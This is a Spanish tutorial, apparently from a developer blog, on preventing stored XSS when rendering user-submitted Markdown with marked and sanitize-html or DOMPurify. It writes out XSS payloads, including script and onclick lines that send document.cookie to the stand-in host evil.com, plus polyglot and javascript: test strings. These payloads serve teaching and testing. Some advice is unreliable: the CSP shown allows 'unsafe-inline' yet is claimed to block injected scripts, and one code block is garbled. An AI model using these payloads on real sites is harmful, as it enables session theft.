tutoriales·10 分で読める

Renderizar Markdown de forma segura: XSS y sanitización

Por qué renderizar Markdown de usuarios sin sanitizar es un vector de XSS, cómo marked + sanitize-html mitigan el riesgo, buenas prácticas.

DevToolsHub Team
·
Renderizar Markdown de forma segura: XSS y sanitización

El día que un usuario rompió nuestro blog con un comentario

Era un martes por la mañana. Un usuario dejó un comentario en nuestro blog que parecía inofensivo: "¡Gran artículo! Me encantó la sección sobre seguridad". Pero ese comentario contenía algo que no veíamos a simple vista: un script oculto que se ejecutaba cada vez que alguien visitaba la página.

El script robaba las cookies de sesión de los visitantes y las enviaba a un servidor externo. No fue hasta que un usuario reportó que su sesión había sido comprometida que descubrimos el problema. El atacante había usado Markdown para inyectar JavaScript malicioso, y nuestro sistema lo renderizaba sin filtrar nada.

Este tipo de ataque se llama XSS (Cross-Site Scripting), y es sorprendentemente fácil de cometer si renderizas Markdown de usuarios sin sanitizar. Este tutorial te enseñará cómo prevenirlo.


¿Qué es XSS y por qué es peligroso?

XSS (Cross-Site Scripting) es un ataque donde un atacante inyecta código malicioso en páginas web que otros usuarios visitan. Hay tres tipos principales:

Stored XSS (el más peligroso)

El código malicioso se almacena en el servidor (base de datos, archivo, etc.) y se ejecuta cada vez que alguien visita la página afectada. Es el tipo que nos afectó: el comentario malicioso estaba en la base de datos y se ejecutaba para todos los visitantes.

Reflected XSS

El código malicioso se refleja inmediatamente en la respuesta del servidor, generalmente a través de parámetros de URL. Por ejemplo: example.com/search?q=<script>alert(1)</script>

DOM-based XSS

El código malicioso se ejecuta en el cliente al manipular el DOM de forma insegura, generalmente a través de innerHTML o eval().

Markdown es un vector perfecto para stored XSS porque:

  • Permite HTML incrustado
  • Se usa para contenido generado por usuarios (comentarios, posts, foros)
  • Se renderiza automáticamente sin que el usuario se dé cuenta

El problema: Markdown permite HTML

Markdown fue diseñado para ser fácil de escribir, pero también permite HTML incrustado. Esto es intencional: si Markdown no soporta algo que necesitas, puedes usar HTML directamente.

El ataque básico

¡Gran artículo! Me encantó la sección sobre seguridad.

<img src="x" onerror="alert('XSS')">

Cuando esto se renderiza, el navegador intenta cargar la imagen. Como src="x" no existe, se dispara el evento onerror, que ejecuta el JavaScript.

El ataque más sofisticado

Este artículo es increíble. <a href="https://example.com" onclick="fetch('https://evil.com/steal?cookie='+document.cookie)">Lee más aquí</a>

Cada vez que alguien hace clic en el enlace, su cookie se envía al atacante.

El ataque invisible

<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

Este script se ejecuta automáticamente cuando la página carga, sin que el usuario tenga que hacer nada.


La solución: sanitización HTML

La sanitización es el proceso de limpiar el HTML para eliminar elementos peligrosos mientras preserva el contenido seguro. La idea es simple: permitir HTML seguro (negritas, enlaces, imágenes) pero bloquear HTML peligroso (scripts, iframes, on* events).

marked + sanitize-html: el estándar de facto

marked es la librería más popular para convertir Markdown a HTML. sanitize-html es la librería más popular para sanitizar HTML. Juntas, forman una defensa robusta contra XSS.

Nuestro propio blog de DevToolsHub usa exactamente este patrón en lib/blog.ts:

import { marked } from 'marked';
import sanitizeHtml from 'sanitize-html';

function renderMarkdown(markdownContent) {
  // Paso 1: Convertir Markdown a HTML
  const html = marked(markdownContent);

  // Paso 2: Sanitizar el HTML
  const safeHtml = sanitizeHtml(html, {
    allowedTags: [
      'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
      'b', 'i', 'strong', 'em', 'p', 'br',
      'a', 'ul', 'ol', 'li',
      'blockquote', 'code', 'pre',
      'img', 'table', 'thead', 'tbody', 'tr', 'td', 'th'
    ],
    allowedAttributes: {
      'a': ['href', 'title', 'target'],
      'img': ['src', 'alt', 'title'],
      'code': ['class']
    },
    allowedSchemes: ['http', 'https', 'mailto'],
    allowedSchemesByTag: {
      'img': ['http', 'https', 'data']
    }
  });

  return safeHtml;
}

Nuestra herramienta de visor Markdown usa este mismo patrón para garantizar que el Markdown que visualizas es seguro.


Configuración de sanitize-html: qué permitir y qué bloquear

La configuración de sanitize-html es el equilibrio entre seguridad y funcionalidad. Quieres permitir suficiente HTML para que Markdown sea útil, pero no tanto que introduzcas vulnerabilidades.

Tags permitidos

allowedTags: [
  // Encabezados
  'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
  
  // Formato de texto
  'b', 'i', 'strong', 'em', 'p', 'br',
  
  // Listas
  'ul', 'ol', 'li',
  
  // Bloques especiales
  'blockquote', 'code', 'pre',
  
  // Enlaces e imágenes
  'a', 'img',
  
  // Tablas
  'table', 'thead', 'tbody', 'tr', 'td', 'th'
]

Tags peligrosos que NO permitimos:

  • script: Obviamente peligroso
  • iframe: Puede cargar contenido externo no controlado
  • object, embed: Pueden cargar plugins (Flash, etc.)
  • form, input, button: Pueden usarse para phishing
  • style: Puede contener CSS malicioso
  • meta: Puede redirigir o cambiar el charset

Atributos permitidos

allowedAttributes: {
  'a': ['href', 'title', 'target'],
  'img': ['src', 'alt', 'title'],
  'code': ['class']  // Para syntax highlighting
}

Atributos peligrosos que NO permitimos:

  • on* (onclick, onerror, onload, etc.): Event handlers que ejecutan JavaScript
  • style: CSS inline puede ser peligroso
  • data-*: A veces usado para exfiltrar datos
  • javascript: en href: Enlaces que ejecutan JavaScript

Schemes permitidos

allowedSchemes: ['http', 'https', 'mailto'],
allowedSchemesByTag: {
  'img': ['http', 'https', 'data']  // data: para imágenes base64
}

Schemes peligrosos que NO permitimos:

  • javascript:: Ejecuta JavaScript
  • data: (excepto en img): Puede ejecutar JavaScript
  • vbscript: Ejecuta VBScript (IE)
  • file: Accede al sistema de archivos local

Implementación completa en Node.js

Aquí está una implementación robusta que puedes usar directamente:

import { marked } from 'marked';
import sanitizeHtml from 'sanitize-html';

class MarkdownRenderer {
  constructor(options = {}) {
    this.sanitizeOptions = {
      allowedTags: options.allowedTags || [
        'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
        'b', 'i', 'strong', 'em', 'p', 'br',
        'a', 'ul', 'ol', 'li',
        'blockquote', 'code', 'pre',
        'img', 'table', 'thead', 'tbody', 'tr', 'td', 'th'
      ],
      allowedAttributes: options.allowedAttributes || {
        'a': ['href', 'title', 'target'],
        'img': ['src', 'alt', 'title'],
        'code': ['class']
      },
      allowedSchemes: options.allowedSchemes || ['http', 'https', 'mailto'],
      allowedSchemesByTag: options.allowedSchemesByTag || {
        'img': ['http', 'https', 'data']
      },
      // Opciones adicionales de seguridad
      selfClosing: options.selfClosing || ['img', 'br'],
      // Permitir protocolos relativos (//example.com)
      allowProtocolRelative: options.allowProtocolRelative || false,
      // Transformar URLs relativas a absolutas
      transformTags: options.transformTags || {}
    };

    // Configurar marked para no permitir HTML por defecto
    marked.setOptions({
      gfm: true,
      breaks: true,
      headerIds: false
    });
  }

  render(markdown) {
    try {
      // Paso 1: Convertir Markdown a HTML
      const html = marked(markdown);

      // Paso 2: Sanitizar el HTML
      const safeHtml = sanitizeHtml(html, this.sanitizeOptions);

      return safeHtml;
    } catch (error) {
      console.error('Error rendering markdown:', error);
      return '<p>Error al renderizar el contenido.</p>';
    }
  }

  // Versión síncrona para casos donde no necesitas async
  renderSync(markdown) {
    try {
      const html = marked.parse(markdown);
      const safeHtml = sanitizeHtml(html, this.sanitizeOptions);
      return safeHtml;
    } catch (error) {
      console.error('Error rendering markdown:', error);
      return '<p>Error al renderizar el contenido.</p>';
    }
  }
}

// Uso
const renderer = new MarkdownRenderer();

const markdown = `
# Título

Este es un **párrafo** con [enlace](https://example.com).

```javascript
console.log('Hola');
Imagen `;

const html = renderer.render(markdown); console.log(html);


---

## Implementación en el navegador

Para el navegador, necesitas usar versiones que funcionen sin Node.js:

```html
<!DOCTYPE html>
<html>
<head>
  <title>Markdown Seguro</title>
  <script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/sanitize-html/dist/sanitize-html.min.js"></script>
</head>
<body>
  <textarea id="markdown-input" placeholder="Escribe Markdown aquí"></textarea>
  <button onclick="render()">Renderizar</button>
  <div id="output"></div>

  <script>
    function render() {
      const markdown = document.getElementById('markdown-input').value;
      
      // Convertir Markdown a HTML
      const html = marked.parse(markdown);
      
      // Sanitizar
      const safeHtml = sanitizeHtml(html, {
        allowedTags: ['h1', 'h2', 'h3', 'p', 'b', 'i', 'a', 'ul', 'ol', 'li', 'code', 'pre', 'img'],
        allowedAttributes: {
          'a': ['href'],
          'img': ['src', 'alt']
        }
      });
      
      document.getElementById('output').innerHTML = safeHtml;
    }
  </script>
</body>
</html>

Casos límite: ataques que parecen seguros pero no lo son

Ataque 1: SVG con JavaScript incrustado

<svg>
  <script>alert('XSS')</script>
</svg>

SVG es XML, y puede contener scripts. sanitize-html bloquea esto por defecto, pero si permites la etiqueta svg, necesitas configuraciones adicionales.

Ataque 2: data URLs con JavaScript

<img src="data:text/html,<script>alert('XSS')</script>">

Las data URLs pueden contener HTML completo. sanitize-html bloquea esto por defecto si configuras allowedSchemesByTag correctamente.

Ataque 3: CSS expression (IE)

<div style="width: expression(alert('XSS'))">

IE soporta expression() en CSS, que ejecuta JavaScript. sanitize-html bloquea esto por defecto.

Ataque 4: Unicode bypass

<img src=x onerror=alert(1)>

El atacante puede usar caracteres Unicode para evadir filtros simples. sanitize-html maneja esto correctamente.


Alternativas: DOMPurify

DOMPurify es otra librería popular de sanitización. Es más rápida que sanitize-html para algunos casos, pero tiene un enfoque diferente: trabaja directamente con el DOM del navegador.

import DOMPurify from 'dompurify';
import { marked } from 'marked';

function renderMarkdown(markdown) {
  const html = marked(markdown);
  const safeHtml = DOMPurify.sanitize(html);
  return safeHtml;
}

Ventajas de DOMPurify:

  • Más rápido (usa el DOM nativo del navegador)
  • Mantenido activamente por el equipo de Cure53
  • Excelente contra ataques sofisticados

Desventajas de DOMPurify:

  • Solo funciona en el navegador (no en Node.js sin JSDOM)
  • Menos configurable que sanitize-html

Para Node.js, sanitize-html es generalmente mejor. Para el navegador, ambos son excelentes.


Buenas prácticas adicionales

1. Content Security Policy (CSP)

Añade un CSP header a tu servidor:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'

Esto bloquea scripts externos incluso si XSS logra inyectar algo.

2. HttpOnly cookies

Usa cookies httpOnly para sesiones:

res.cookie('session', sessionId, {
  httpOnly: true,  // JavaScript no puede leer la cookie
  secure: true,    // Solo HTTPS
  sameSite: 'strict'
});

Incluso si XSS logra ejecutarse, no puede robar la cookie.

3. Validar en el servidor

No confíes solo en la sanitización del cliente. Siempre valida y sanitiza en el servidor también.

4. Rate limiting

Limita el número de posts que un usuario puede crear por minuto. Esto reduce el impacto si alguien logra explotar una vulnerabilidad.

5. Logging y monitoreo

Log todos los intentos de inyección. Si alguien intenta inyectar scripts múltiples veces, bloquea su cuenta.


Herramientas de testing

XSS Polyglots

Un "polyglot" es un payload que funciona en múltiples contextos. Úsalos para probar tu sanitización:

// XSS Polyglot clásico
javascript:///*<svg/*onload=alert(1)>*/

Automated scanners

Herramientas como OWASP ZAP o Burp Suite pueden escanear tu aplicación en busca de vulnerabilidades XSS.

Manual testing

Prueba manualmente con payloads como:

<img src=x onerror=alert(1)>
<script>alert(1)</script>
<a href="javascript:alert(1)">click</a>
<div style="background:url(javascript:alert(1))">

Checklist para Markdown seguro

Antes de permitir que los usuarios envíen Markdown:

☐ Sanitiza siempre en el servidor

  • No confíes en la sanitización del cliente
  • Usa sanitize-html o DOMPurify

☐ Configura sanitize-html correctamente

  • Solo permite los tags que necesitas
  • Solo permite los atributos que necesitas
  • Bloquea schemes peligrosos

☐ Implementa CSP

  • Añade headers CSP a tu servidor
  • Configura script-src y style-src correctamente

☐ Usa cookies httpOnly

  • Las cookies de sesión deben ser httpOnly
  • Usa secure y sameSite

☐ Prueba con payloads reales

  • Usa XSS polyglots
  • Prueba manualmente con payloads comunes
  • Usa scanners automatizados

☐ Monitorea y logea

  • Log intentos de inyección
  • Bloquea usuarios sospechosos
  • Revisa logs regularmente

Conclusión: la seguridad es un proceso, no un producto

Renderizar Markdown de forma segura no es difícil, pero es fácil hacerlo mal. La diferencia entre un sistema seguro y uno vulnerable está en los detalles: qué tags permites, qué atributos permites, qué schemes permites.

El patrón marked + sanitize-html que usamos en DevToolsHub (y que nuestra herramienta de visor Markdown usa) es un estándar probado en batalla. Pero no es suficiente por sí solo. Necesitas CSP, cookies httpOnly, validación en el servidor, y monitoreo constante.

La próxima vez que alguien te diga "es solo Markdown, qué puede salir mal", ya sabes la respuesta: mucho. Pero con las herramientas y estrategias correctas, es completamente manejable.

Renderizar Markdown de forma segura no es una opción, es un requisito. Tus usuarios confían en ti para proteger su información. No les decepciones.

#markdown#xss#seguridad#sanitización#javascript

関連記事